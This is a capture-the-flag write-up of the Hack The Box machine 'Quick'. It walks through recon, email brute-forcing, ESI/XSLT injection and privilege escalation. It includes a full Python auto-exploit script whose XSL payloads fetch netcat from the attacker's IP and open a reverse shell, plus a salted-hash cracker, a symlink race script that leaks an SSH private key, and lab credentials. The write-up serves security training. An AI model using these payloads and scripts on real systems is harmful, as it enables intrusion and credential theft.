Posts Hack The Box Write Up - Quick
Post
Cancel

Hack The Box Write Up - Quick

Quick

OS: Linux
Difficulty: Hard
Points:40
Release:25 Apr 2020
IP:10.10.10.186

Info Gathering

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.80SVN scan initiated Wed Apr 29 16:23:39 2020 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /home/z3r0/CTF/HTB/Machine/Quick/scans/_quick_tcp_nmap.txt -oX /home/z3r0/CTF/HTB/Machine/Quick/scans/xml/_quick_tcp_nmap.xml 10.10.10.186
Nmap scan report for 10.10.10.186
Host is up, received user-set (0.27s latency).
Scanned at 2020-04-29 16:23:41 +08 for 126s
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAhDT34CIPsYTsmKvg6TepNSC8Qly/KBzvto2U2dc5bWLnOTeCHQrlzT0nk/GHBGsvCVi9JJmSw6BHeQ0sllrO4jvQpW/jQuY65cyOmNsXZcXvLXKk/M9rYws+8EOWrzKWJRIyIcD1+NdXKia8oYJ8GtTb8MAFff63dPrCD3qJIWgE0BQ00Id2CebD8Ffml75qXoufBpNQagMjorURWnq5W9lUpCSuqtLYAgasiW6/tlfBb80PFlmltDmshCJ+WsfZ0v2PK2eDveEM4PvlLyFLcGSJcshgGUA/jbDefwoon5uqgKduuS/RZJxf5PqBXkFIem9lsRl9SJCQLqKnQdh3
|   256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL3mI404EpOFWUunEsaZUSo5I91lYin8r4Tt5HbcKkP1cEjnLRfpWP3HLYZbikwoZG17SmA3cwn/BPUslPpPWI=
|   256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC3sX8n1GsA1Ps9e3OZmBVSkbr1tv7B/25+Njhuz9Z76
9001/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 29 16:25:47 2020 -- 1 IP address (1 host up) scanned in 127.56 seconds

Open port: 22, 9001

Web

Landing page

Visited the main page, and landed on simple page with some info.

There was 3 links on the page:

  1. login
  2. clients
  3. portal

Login

This the first links need to be checked, as usual, login sistem tends to have some flaw or will leak juicy info

Spent some time in here without result. Move on

Clients

Looking up this page, it just simple list of their client without anything useful. So far

Portal

Read about the update, it gave useful hint actually. It says about the latest TLS and HTTP.

Clink on the link, got error refused to connect as if the host not there. Now read again the update message. Yeah it using HTTP3 which is served in UDP port. Googling a lot about how to bypass it, led to nowhere. In fact its not how to bypass it, but how to access it. Looking for this, came up with this project

https://github.com/cloudflare/quiche

HTTP3

Quiche

Read about it a lot, and I got several options to access http3 protocol. I’m a lazy person, I normally will avoid compiling anything or downloading extra tool which I will not be used so much. Looking for other options, I’m lucky because of Arch user, there is a package for this. To make my default curl to support http3, I need to recompile it, and uninstall it first and it will break lot of my packages. So I just using this AUR package.

https://aur.archlinux.org/packages/curl-http3/

Curl3

After done installing it, run it as normal curl but the binary named with curl3. run it as

curl3 --http3 https://portal.quick.htb.

Yeah, successfully fetched the content.

Clearly there was 3 links there. I’m interested with docs. Went into that link and got 2 links for pdf files. Grab it!!

Connectivity.pdf

Read the content of the pdf, saw juicy info about the access password.

It tells about the registered email. Means I need to search for it. Searching through the portal, and didn’t find related email unless the workers email. Bruteforce maybe.

Exploitation

Following what the file told, the login page can be accessed by the client’s email and Quick4cc3$$ as the pass. I don’t have the the email, and the hint told registered email. After inspecting the page again, there was a section for testimony by the client.

I can see 4 names there. With a thought of one of them must have the access to the login page, I could construct an email format to be paired with one of the names there. Format as follow:

client name @ companyname.com

Burp Intruder

After intercept the login process, just send it to the intruder and using cluster bomb attack.

I’m going to guess the email, so put the marker to be injected in the email field. After struggling for several attempts, look back to the client list on the webpage, there was a column for the country. Lucky the country list started with UK, so I changed .com to co.uk for 2nd level domain

Launch the attack and hit the correct cred.

Email:elisa@wink.co.uk

Try it in the login page, got redirect to the ticket page as Elisa. Nice

Ticket page

This page was for the ticket system for the client when having any issues. Playing around with the system, got 2 parts might be vulnerable.

The first one is to track the ticket. Put the ticket number, it will load the info below it.

trying to submit the ticket

At first i thought about sqli. Trying with it, nothing popped out. Then check again the header.

This unusual header should be investigated. Googling about esigate exploit, landed on this useful site.

https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

Follows the article and testing it with the ticket submit page. Put the stylesheet reference to my ip. Run simple http server on my machine, and on the ticket search page, search for my ticket number.

my simple http server got a response from the machine.

.

It can be exploited!!. With this flow, I can get RCE to spawn a reverse shell. Below how I did it.

Revshell

Login as elisa

post ticket

search ticket to activate

got shell

Privesc

Since Traceback machine, I’m not going to get the user.txt flag right away because of the dynamic flag. I will go to privesc. Due to the nature of this machine kept get reset via user or the script from the machine, I’m getting tired to get my shell back. I made a bash script to automate all the processes, and add my ssh key after shell spawned. The next process did through ssh session.

UPDATED: 15-May. Replace the bash script with python script, using loop due to 404 error if the file exists because of the cache

Here my python script for auto exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import requests, sys, os, argparse, subprocess

ap = argparse.ArgumentParser(description="Quick Machine Initial Shell")
ap.add_argument("myip", help="My HTB vpn ip Ex: 10.10.14.100")
ap.add_argument("-u","--upload", required=True, metavar='Uploader', help="upload filename")
ap.add_argument("-r", "--reverse", required=True, metavar='Revshell', help="reverse shell filename")
ap.add_argument("-p","--port", required=True, metavar='listener port', help="listener port to be used")
args = ap.parse_args()

def login(email,password):
    url = "http://"+Machine+":"+str(PORT)+"/login.php"
    payload={"email":email,"password":password}
    headers= {"Referer": "http://quick.htb:9001/login.php"}
    response = requests.post(url, data=payload,allow_redirects=False)
    cookie = response.headers['Set-Cookie'] # Return the cookie
    cookie = cookie.split(";")[0]
    return cookie

def create_ticket(filename,c):
    c = c.split("=")
    cookie={c[0]:c[1]}
    url = "http://"+Machine+":"+str(PORT)+"/ticket.php"
    msg="""<esi:include src="http://127.0.0.1/" stylesheet="http://"""+myip+""":8000/"""+filename+""".xsl"></esi:include>"""
    payload = {"title":"test","msg":msg,"id":filename}
    response = requests.post(url, data=payload,cookies=cookie,allow_redirects=False)
    #print(response.text)
    return response

def search(filename,c):
    c = c.split("=")
    cookie={c[0]:c[1]}
    url = "http://"+Machine+":"+str(PORT)+"/search.php?search="+filename
    response = requests.post(url, cookies=cookie,allow_redirects=False)
    #print(response.text)

proc = subprocess.Popen('python -m http.server', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
#out = proc.stdout.read()
#print(str(out))
Machine = "quick.htb"
PORT = 9001
username = "elisa@wink.co.uk"
passw = "Quick4cc3$$"
myip = args.myip
myport = args.port
up = args.upload
rev = args.reverse
ext = ".xsl"

upload = """<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="java.lang.Runtime">>
<xsl:template match="/">
<xsl:variable name="up" select="rt:exec(rt:getRuntime(), 'wget -O /var/tmp/nc http://{}:8000/nc')"/>
<xsl:value-of select="$up" />
</xsl:template>
</xsl:stylesheet>
"""

reverse = """<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="java.lang.Runtime">>
<xsl:template match="/">
<xsl:variable name="perm" select="rt:exec(rt:getRuntime(), 'chmod 777 /var/tmp/nc')"/>
<xsl:variable name="rev" select="rt:exec(rt:getRuntime(), '/var/tmp/nc {} {} -e /bin/bash')"/>
<xsl:variable name="clean" select="rt:exec(rt:getRuntime(), 'rm -rf /var/tmp/nc')"/>
<xsl:value-of select="$perm" />
<xsl:value-of select="$rev" />
<xsl:value-of select="$clean" />
</xsl:template>
</xsl:stylesheet>
"""

with open(up+"0"+ext, "w+") as upl:
   upl.write(upload.format(myip))
   upl.close()
with open(rev+"0"+ext, "w+") as revr:
   revr.write(reverse.format(myip,myport))
   revr.close()

cookie = login(username,passw)

i = 0
while True:
  fn1 = up+str(i)
  fn2 = rev+str(i)
  print("Sending Exploit 1", end="\r")
  response1 = create_ticket(fn1,cookie)
  print("Sending Exploit 2", end="\r")
  response2 = create_ticket(fn2,cookie)
  os.rename(fn1+ext, up+str(i+1)+ext)
  os.rename(fn2+ext, rev+str(i+1)+ext)
  i+=1
  if "raised" in response1.text and "raised" in response2.text:
    os.rename(up+str(i)+ext, up+str(i-1)+ext)
    os.rename(rev+str(i)+ext, rev+str(i-1)+ext)
    print("Triggering Exploit 1", end="\r")
    search(up+str(i-1), cookie)
    print("Exploit 1, Success")
    print("Triggering Exploit 2", end="\r")
    search(rev+str(i-1), cookie)
    print("Exploit 2, Success")
    proc.kill()
    os.remove(up+str(i-1)+ext)
    os.remove(rev+str(i-1)+ext)
    nc_cmd = 'kitty nc -lnvp {}'.format(myport)
    print("Launching netcat with IP: {} Port: {}. Will take 10s to get connection".format(myip,myport))
    shell = subprocess.run(nc_cmd, shell=True, text=True, capture_output=True)
    break

Enum

Home dir

Get user dir. Only 2 in home dir:

  1. sam
  2. srvadm

So far nothing interesting in sam dir. Since I got the shell from the website, I just head over to web home dir /var/www/

/var/www/

1
2
3
4
5
6
7
8
sam@quick:/var/www$ ls -la
total 20
drwxr-xr-x  5 root root 4096 Mar 21 03:07 .
drwxr-xr-x 14 root root 4096 Mar 20 02:10 ..
drwxr-xr-x  2 root root 4096 Mar 20 03:48 html
drwxrwxrwx  2 root root 4096 Mar 21 03:11 jobs
drwxr-xr-x  6 root root 4096 Mar 21 03:08 printer
sam@quick:/var/www$ 

/var/www/html

1
2
3
4
5
6
7
8
9
10
11
12
sam@quick:/var/www/html$ ls -la
total 52
drwxr-xr-x 2 root root 4096 Mar 20 03:48 .
drwxr-xr-x 5 root root 4096 Mar 21 03:07 ..
-rw-r--r-- 1 root root 2698 Mar 17 07:16 clients.php
-rw-r--r-- 1 root root   69 Mar 17 07:57 db.php
-rw-r--r-- 1 root root 9549 Mar 18 04:07 home.php
-rw-r--r-- 1 root root 3362 Mar 20 03:48 index.php
-rw-r--r-- 1 root root 5013 Mar 18 04:42 login.php
-rw-r--r-- 1 root root 1247 Mar 18 04:52 search.php
-rw-r--r-- 1 root root 7307 Mar 18 04:55 ticket.php
sam@quick:/var/www/html$

Got db.php. Read through it, got mysql cred.

1
2
3
4
5
sam@quick:/var/www/html$ cat db.php 
<?php 
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
sam@quick:/var/www/html$

Dump the db. Might get useful cred there. Yeah, got 2 pairs of cred in there. 1 belongs to elisa and another one to srvadm, but its hashed. srvadm is the valid user in this machine, just grab it to crack.

mysqldump -udb_adm -pdb_p4ss quick

Crack the hash

since it in md5 format, I tried an online solution, but no result. This must be salted pass with some encryption. Must be coded somewhere. Look again through /var/www/printer

1
2
3
sam@quick:/var/www/printer$ ls
add_printer.php  css  db.php  escpos-php  favicon.ico  fonts  home.php  images  index.php  job.php  printers.php
sam@quick:/var/www/printer$

another db.php. It’s same as in html dir. Dumping it gave me same content as in html dir.

After checking files in printer dir, found how the pass was encrypted in index.php file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
        $email=$_POST["email"];
        $password = $_POST["password"];
        $password = md5(crypt($password,'fa'));
        $stmt=$conn->prepare("select email,password from users where email=? and password=?");
        $stmt->bind_param("ss",$email,$password);
        $stmt->execute();
        $result = $stmt->get_result();
        $num_rows = $result->num_rows;
        if($num_rows > 0 && $email === "srvadm@quick.htb")
        {
                session_start();
                $_SESSION["loggedin"]=$email;
                header("location: home.php");
        }
        else
        {
                echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';
        }
}
else
---- snip ----

$password = md5(crypt($password,'fa')); this line tells how the pass was encrypted.

From it, now I know the pass encrypted with crypt function and salted with string fa. Then hashed using md5 function. Lets make simple cracker for this. I’ll go with python.

With what I have, the srvadm hashed pass e626d51f8fbfd1124fdea88396c35d05, I just need to get any plain text, encrypt it with salted string fa then hash it with md5, then compare the value with srvadm hash. It just wordlist attack. Here my code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib, crypt

with open("/usr/share/wordlists/seclists-git/Passwords/Leaked-Databases/rockyou.txt", "r", encoding="ISO-8859-1") as passwd:
#with open("test", "r") as a_file:
  for line in passwd:
    plain = line.rstrip()
    crypted = crypt.crypt(plain, 'fa')
    hashes = hashlib.md5(crypted.encode()).hexdigest()
    print(crypted, plain)
    if hashes == 'e626d51f8fbfd1124fdea88396c35d05':
       print('pass found:', plain)
       break
    else:
       continue

NOTE: I used ISO-8859-1 encoding due to some error I when run it for first time with utf-8 encoding.

Run my script with rockyou as dict.

Found the pass under 3 minutes. pass: yl51pbx

Vhosts

With that pass, I tried su srvadm, but failed. Means this just valid for printer page somewhere hosted in this machine. Gotta find it.

Knowing that previous site using apache, I’ll cd straight to where common conf for apache, /etc/apache2.

Look for the conf for vhosts

000-default.conf

Got another vhosts to check. printerv2.quick.htb

Printerv2

When visiting http://printerv2.quick.htb, kept getting this error, error retrieving URL

.

Tired getting this error everytime, I tried access it from the host itself, but failed. Maybe just forward the port.

With generated key earlier to access sam, I used ssh to do port forwarding.

Lets try access it again. NOTE: after PF, it should accessible from the localhost on port 9001. Add in hosts 127.0.0.1 point to printerv2.quick.htb

Login with email srvadm@quick.htb and cracked pass yl51pbx, I managed to get through it.

playing with the system to get to know what it does, here the summary:

  1. Add my IP and port to be accessible as printer
  2. add job and submit, it will print what the description I put inside it.

CLick the printer icon to add the job

And it failed because I’m not open the port yet.

Opened the port, it allows me to add the job

Click it to add job, and put anything in the input field after that

Click print, It then tells “Job assigned”. Look again to my listener, got the exact message like I wrote

Interesting.

Job task

Take a deeper look in the file inside printer dir, look at the job.php file, it getting more interesting

  1. It takes what I wrote and put it in the file created with date format and grant the file with all permission.
  2. Get the content in the /var/www/jobs dir with date format file.

Knowing the flow, checking who owns that php file, it owned by root!! I can take advantage of this flow. How about grab root private key, and put it there, change filename as date format too.

Note:I’ve failed all the time to get root key, I’m assuming root user didn’t have the key inside .ssh dir. I’m proceed with srvadm key.

But to be able to do that, I need to know the exact file name created from the printer page site. In fact, after content get printed, the file will be deleted. With all this in consideration, the only solution is to make a script.

Symlinker script

I’m thinking of using symlink to link servadm priv key to jobs dir. I did with python. Here the script:

1
2
3
4
5
6
7
8
9
10
11
from subprocess import check_output
import datetime
import os

while True:
    ff = datetime.datetime.now().strftime("%Y-%m-%d_%H:%M:%S")
    if os.path.exists("/var/www/jobs/"+ff):
        check_output("rm -rf /var/www/jobs/"+ff, shell=True)
        grab = check_output(["ln","-s", "/home/srvadm/.ssh/id_rsa", ff], cwd="/var/www/jobs/")
        print(grab)
        break        

What it does was check every seconds, if jobs dir have any file with the particular name with date format, it removes the original file and symlink srvadm priv key to job dir with the deleted file name. When I hit print in the website page, the content of the priv key will be sent to my ‘printer

Run my script, and go back to the webpage. Repeat the process to add the job. I’m not putting anything in the input field, just hit print, and my listener got the key instantly. Nice!

SSH as srvadm

With that priv key, just log in via ssh. It won’t ask for the password or passphrase.

At this stage, I’m a bit lost for a while. There was nothing inside srvadm home dir. The hidden dir is the common dir, so I begin to look each dirs and files. One of the files inside .cache dir caught my attention. I stopped at the line which looks like URL, but with credential-like string. %26ftQ4K3SGde8%3F

Looks like url encoded format at the beginning and the end of the string. Decoded it, now it turned tp &ftQ4K3SGde8?. Let try su root with it.

Hoyeah, I’m root!! With this password, I should be able to ssh with it.

Victory

This post is licensed under CC BY 4.0 by the author.

Trending Tags

Contents

Trending Tags